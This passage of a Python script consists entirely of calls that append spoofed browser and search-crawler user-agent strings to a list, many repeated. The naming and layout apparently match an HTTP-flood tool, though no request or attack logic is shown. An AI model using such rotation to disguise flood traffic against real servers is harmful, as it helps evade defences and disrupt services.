Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; 